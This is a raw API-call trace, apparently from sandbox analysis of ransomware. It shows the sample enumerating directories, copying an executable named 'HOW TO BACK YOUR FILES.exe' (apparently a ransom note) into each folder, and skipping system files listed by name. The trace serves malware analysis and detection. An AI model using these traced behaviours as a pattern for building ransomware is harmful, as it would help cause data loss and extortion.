	[0038.751] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Start Menu\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x77, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jaureglist.xml", cAlternateFileName="JAUREG~1.XML")) returned 0xffffffff
	[0038.751] GetLastError () returned 0x5
	[0038.751] wsprintfA (in: param_1=0x2d3f538, param_2="[ERROR] %S FindFirstFile error %i\r\n" | out: param_1="[ERROR] C:\\Users\\All Users\\Start Menu\\* FindFirstFile error 5\r\n") returned 63
	[0038.751] lstrlenA (lpString="[ERROR] C:\\Users\\All Users\\Start Menu\\* FindFirstFile error 5\r\n") returned 63
	[0038.751] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x148
	[0038.751] SetFilePointer (in: hFile=0x148, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x9b0
	[0038.751] WriteFile (in: hFile=0x148, lpBuffer=0x2d3f538*, nNumberOfBytesToWrite=0x3f, lpNumberOfBytesWritten=0x2d3e204, lpOverlapped=0x0 | out: lpBuffer=0x2d3f538*, lpNumberOfBytesWritten=0x2d3e204*=0x3f, lpOverlapped=0x0) returned 1
	[0038.751] CloseHandle (hObject=0x148) returned 1
	[0038.752] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7b10
	[0038.752] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Package Cache", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache"
	[0038.752] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bded8 | out: hHeap=0x580000) returned 1
	[0038.752] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b08 | out: hHeap=0x580000) returned 1
	[0038.752] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache") returned 32
	[0038.752] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache" | out: lpString1="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache"
	[0038.752] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0038.752] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0038.758] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0038.758] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecce51e0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f3650f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f3650f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca210
	[0038.759] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.759] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0038.759] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0038.759] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecce51e0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f3650f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f3650f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0038.759] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.759] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0038.759] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0038.759] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0038.759] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2924cac0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="42D5BEC7DDFBD49E76467529CBC2868987BF8460", cAlternateFileName="42D5BE~1")) returned 1
	[0038.759] lstrcmpiW (lpString1="42D5BEC7DDFBD49E76467529CBC2868987BF8460", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.759] lstrcmpiW (lpString1="42D5BEC7DDFBD49E76467529CBC2868987BF8460", lpString2="Apollon865.txt.exe") returned -1
	[0038.759] lstrcmpiW (lpString1="42D5BEC7DDFBD49E76467529CBC2868987BF8460", lpString2=".") returned 1
	[0038.759] lstrcmpiW (lpString1="42D5BEC7DDFBD49E76467529CBC2868987BF8460", lpString2="..") returned 1
	[0038.759] lstrcmpiW (lpString1="42D5BEC7DDFBD49E76467529CBC2868987BF8460", lpString2="windows") returned -1
	[0038.760] lstrcmpiW (lpString1="42D5BEC7DDFBD49E76467529CBC2868987BF8460", lpString2="bootmgr") returned -1
	[0038.760] lstrcmpiW (lpString1="42D5BEC7DDFBD49E76467529CBC2868987BF8460", lpString2="temp") returned -1
	[0038.760] lstrcmpiW (lpString1="42D5BEC7DDFBD49E76467529CBC2868987BF8460", lpString2="pagefile.sys") returned -1
	[0038.760] lstrcmpiW (lpString1="42D5BEC7DDFBD49E76467529CBC2868987BF8460", lpString2="boot") returned -1
	[0038.760] lstrcmpiW (lpString1="42D5BEC7DDFBD49E76467529CBC2868987BF8460", lpString2="ids.txt") returned -1
	[0038.760] lstrcmpiW (lpString1="42D5BEC7DDFBD49E76467529CBC2868987BF8460", lpString2="ntuser.dat") returned -1
	[0038.760] lstrcmpiW (lpString1="42D5BEC7DDFBD49E76467529CBC2868987BF8460", lpString2="perflogs") returned -1
	[0038.760] lstrcmpiW (lpString1="42D5BEC7DDFBD49E76467529CBC2868987BF8460", lpString2="MSBuild") returned -1
	[0038.760] lstrlenW (lpString="42D5BEC7DDFBD49E76467529CBC2868987BF8460") returned 40
	[0038.760] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\*") returned 34
	[0038.760] lstrcpyW (in: lpString1=0x2d3e592, lpString2="42D5BEC7DDFBD49E76467529CBC2868987BF8460" | out: lpString1="42D5BEC7DDFBD49E76467529CBC2868987BF8460") returned="42D5BEC7DDFBD49E76467529CBC2868987BF8460"
	[0038.760] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b08
	[0038.760] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x94) returned 0x599bd8
	[0038.760] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b10 | out: ListHead=0x5b76b0, ListEntry=0x5b7b10) returned 0x5b7af0
	[0038.760] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa938e870, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", cAlternateFileName="54050A~1")) returned 1
	[0038.760] lstrcmpiW (lpString1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.760] lstrcmpiW (lpString1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", lpString2="Apollon865.txt.exe") returned -1
	[0038.760] lstrcmpiW (lpString1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", lpString2=".") returned 1
	[0038.760] lstrcmpiW (lpString1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", lpString2="..") returned 1
	[0038.760] lstrcmpiW (lpString1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", lpString2="windows") returned -1
	[0038.760] lstrcmpiW (lpString1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", lpString2="bootmgr") returned -1
	[0038.760] lstrcmpiW (lpString1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", lpString2="temp") returned -1
	[0038.760] lstrcmpiW (lpString1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", lpString2="pagefile.sys") returned -1
	[0038.760] lstrcmpiW (lpString1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", lpString2="boot") returned -1
	[0038.760] lstrcmpiW (lpString1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", lpString2="ids.txt") returned -1
	[0038.760] lstrcmpiW (lpString1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", lpString2="ntuser.dat") returned -1
	[0038.760] lstrcmpiW (lpString1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", lpString2="perflogs") returned -1
	[0038.760] lstrcmpiW (lpString1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", lpString2="MSBuild") returned -1
	[0038.760] lstrlenW (lpString="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D") returned 40
	[0038.760] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460") returned 73
	[0038.760] lstrcpyW (in: lpString1=0x2d3e592, lpString2="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D" | out: lpString1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D") returned="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D"
	[0038.760] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b28
	[0038.760] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x94) returned 0x599c78
	[0038.760] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b30 | out: ListHead=0x5b76b0, ListEntry=0x5b7b30) returned 0x5b7b10
	[0038.760] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f3650f0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f3650f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0038.760] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0038.761] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb49460, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcb95720, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcb95720, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", cAlternateFileName="{13A4E~1.210")) returned 1
	[0038.761] lstrcmpiW (lpString1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.761] lstrcmpiW (lpString1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", lpString2="Apollon865.txt.exe") returned -1
	[0038.761] lstrcmpiW (lpString1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", lpString2=".") returned 1
	[0038.761] lstrcmpiW (lpString1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", lpString2="..") returned 1
	[0038.761] lstrcmpiW (lpString1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", lpString2="windows") returned -1
	[0038.761] lstrcmpiW (lpString1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", lpString2="bootmgr") returned -1
	[0038.761] lstrcmpiW (lpString1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", lpString2="temp") returned -1
	[0038.761] lstrcmpiW (lpString1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", lpString2="pagefile.sys") returned -1
	[0038.761] lstrcmpiW (lpString1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", lpString2="boot") returned -1
	[0038.761] lstrcmpiW (lpString1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", lpString2="ids.txt") returned -1
	[0038.761] lstrcmpiW (lpString1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", lpString2="ntuser.dat") returned -1
	[0038.761] lstrcmpiW (lpString1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", lpString2="perflogs") returned -1
	[0038.761] lstrcmpiW (lpString1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", lpString2="MSBuild") returned -1
	[0038.761] lstrlenW (lpString="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005") returned 49
	[0038.761] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D") returned 73
	[0038.761] lstrcpyW (in: lpString1=0x2d3e592, lpString2="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005" | out: lpString1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005") returned="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005"
	[0038.761] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c88
	[0038.761] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa6) returned 0x599d18
	[0038.761] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c90 | out: ListHead=0x5b76b0, ListEntry=0x5b7c90) returned 0x5b7b30
	[0038.761] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd0b340, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xecd314a0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xecd314a0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", cAlternateFileName="{33D1F~1")) returned 1
	[0038.761] lstrcmpiW (lpString1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.761] lstrcmpiW (lpString1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", lpString2="Apollon865.txt.exe") returned -1
	[0038.761] lstrcmpiW (lpString1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", lpString2=".") returned 1
	[0038.761] lstrcmpiW (lpString1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", lpString2="..") returned 1
	[0038.761] lstrcmpiW (lpString1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", lpString2="windows") returned -1
	[0038.761] lstrcmpiW (lpString1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", lpString2="bootmgr") returned -1
	[0038.761] lstrcmpiW (lpString1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", lpString2="temp") returned -1
	[0038.761] lstrcmpiW (lpString1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", lpString2="pagefile.sys") returned -1
	[0038.761] lstrcmpiW (lpString1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", lpString2="boot") returned -1
	[0038.761] lstrcmpiW (lpString1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", lpString2="ids.txt") returned -1
	[0038.761] lstrcmpiW (lpString1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", lpString2="ntuser.dat") returned -1
	[0038.761] lstrcmpiW (lpString1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", lpString2="perflogs") returned -1
	[0038.761] lstrcmpiW (lpString1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", lpString2="MSBuild") returned -1
	[0038.761] lstrlenW (lpString="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}") returned 38
	[0038.761] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005") returned 82
	[0038.762] lstrcpyW (in: lpString1=0x2d3e592, lpString2="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}" | out: lpString1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}") returned="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}"
	[0038.762] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ca8
	[0038.762] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x90) returned 0x599450
	[0038.762] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7cb0 | out: ListHead=0x5b76b0, ListEntry=0x5b7cb0) returned 0x5b7c90
	[0038.762] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabe4080, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabe4080, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", cAlternateFileName="{37B8F~1.610")) returned 1
	[0038.762] lstrcmpiW (lpString1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.762] lstrcmpiW (lpString1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", lpString2="Apollon865.txt.exe") returned -1
	[0038.762] lstrcmpiW (lpString1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", lpString2=".") returned 1
	[0038.762] lstrcmpiW (lpString1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", lpString2="..") returned 1
	[0038.762] lstrcmpiW (lpString1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", lpString2="windows") returned -1
	[0038.762] lstrcmpiW (lpString1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", lpString2="bootmgr") returned -1
	[0038.762] lstrcmpiW (lpString1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", lpString2="temp") returned -1
	[0038.762] lstrcmpiW (lpString1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", lpString2="pagefile.sys") returned -1
	[0038.762] lstrcmpiW (lpString1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", lpString2="boot") returned -1
	[0038.762] lstrcmpiW (lpString1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", lpString2="ids.txt") returned -1
	[0038.762] lstrcmpiW (lpString1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", lpString2="ntuser.dat") returned -1
	[0038.762] lstrcmpiW (lpString1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", lpString2="perflogs") returned -1
	[0038.762] lstrcmpiW (lpString1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", lpString2="MSBuild") returned -1
	[0038.762] lstrlenW (lpString="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030") returned 49
	[0038.762] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}") returned 71
	[0038.762] lstrcpyW (in: lpString1=0x2d3e592, lpString2="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030" | out: lpString1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030") returned="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030"
	[0038.762] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fbe8
	[0038.762] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa6) returned 0x5994e8
	[0038.762] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fbf0 | out: ListHead=0x5b76b0, ListEntry=0x59fbf0) returned 0x5b7cb0
	[0038.762] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a0db1a0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a127460, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a127460, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{3c3aafc8-d898-43ec-998f-965ffdae065a}", cAlternateFileName="{3C3AA~1")) returned 1
	[0038.762] lstrcmpiW (lpString1="{3c3aafc8-d898-43ec-998f-965ffdae065a}", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.762] lstrcmpiW (lpString1="{3c3aafc8-d898-43ec-998f-965ffdae065a}", lpString2="Apollon865.txt.exe") returned -1
	[0038.762] lstrcmpiW (lpString1="{3c3aafc8-d898-43ec-998f-965ffdae065a}", lpString2=".") returned 1
	[0038.762] lstrcmpiW (lpString1="{3c3aafc8-d898-43ec-998f-965ffdae065a}", lpString2="..") returned 1
	[0038.762] lstrcmpiW (lpString1="{3c3aafc8-d898-43ec-998f-965ffdae065a}", lpString2="windows") returned -1
	[0038.762] lstrcmpiW (lpString1="{3c3aafc8-d898-43ec-998f-965ffdae065a}", lpString2="bootmgr") returned -1
	[0038.762] lstrcmpiW (lpString1="{3c3aafc8-d898-43ec-998f-965ffdae065a}", lpString2="temp") returned -1
	[0038.762] lstrcmpiW (lpString1="{3c3aafc8-d898-43ec-998f-965ffdae065a}", lpString2="pagefile.sys") returned -1
	[0038.762] lstrcmpiW (lpString1="{3c3aafc8-d898-43ec-998f-965ffdae065a}", lpString2="boot") returned -1
	[0038.762] lstrcmpiW (lpString1="{3c3aafc8-d898-43ec-998f-965ffdae065a}", lpString2="ids.txt") returned -1
	[0038.762] lstrcmpiW (lpString1="{3c3aafc8-d898-43ec-998f-965ffdae065a}", lpString2="ntuser.dat") returned -1
	[0038.763] lstrcmpiW (lpString1="{3c3aafc8-d898-43ec-998f-965ffdae065a}", lpString2="perflogs") returned -1
	[0038.763] lstrcmpiW (lpString1="{3c3aafc8-d898-43ec-998f-965ffdae065a}", lpString2="MSBuild") returned -1
	[0038.763] lstrlenW (lpString="{3c3aafc8-d898-43ec-998f-965ffdae065a}") returned 38
	[0038.763] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030") returned 82
	[0038.763] lstrcpyW (in: lpString1=0x2d3e592, lpString2="{3c3aafc8-d898-43ec-998f-965ffdae065a}" | out: lpString1="{3c3aafc8-d898-43ec-998f-965ffdae065a}") returned="{3c3aafc8-d898-43ec-998f-965ffdae065a}"
	[0038.763] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc08
	[0038.763] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x90) returned 0x599598
	[0038.763] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc10 | out: ListHead=0x5b76b0, ListEntry=0x59fc10) returned 0x59fbf0
	[0038.763] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", cAlternateFileName="{582EA~1.250")) returned 1
	[0038.763] lstrcmpiW (lpString1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.763] lstrcmpiW (lpString1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", lpString2="Apollon865.txt.exe") returned -1
	[0038.763] lstrcmpiW (lpString1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", lpString2=".") returned 1
	[0038.763] lstrcmpiW (lpString1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", lpString2="..") returned 1
	[0038.763] lstrcmpiW (lpString1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", lpString2="windows") returned -1
	[0038.763] lstrcmpiW (lpString1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", lpString2="bootmgr") returned -1
	[0038.763] lstrcmpiW (lpString1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", lpString2="temp") returned -1
	[0038.763] lstrcmpiW (lpString1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", lpString2="pagefile.sys") returned -1
	[0038.763] lstrcmpiW (lpString1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", lpString2="boot") returned -1
	[0038.763] lstrcmpiW (lpString1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", lpString2="ids.txt") returned -1
	[0038.763] lstrcmpiW (lpString1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", lpString2="ntuser.dat") returned -1
	[0038.763] lstrcmpiW (lpString1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", lpString2="perflogs") returned -1
	[0038.763] lstrcmpiW (lpString1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", lpString2="MSBuild") returned -1
	[0038.763] lstrlenW (lpString="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017") returned 50
	[0038.763] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}") returned 71
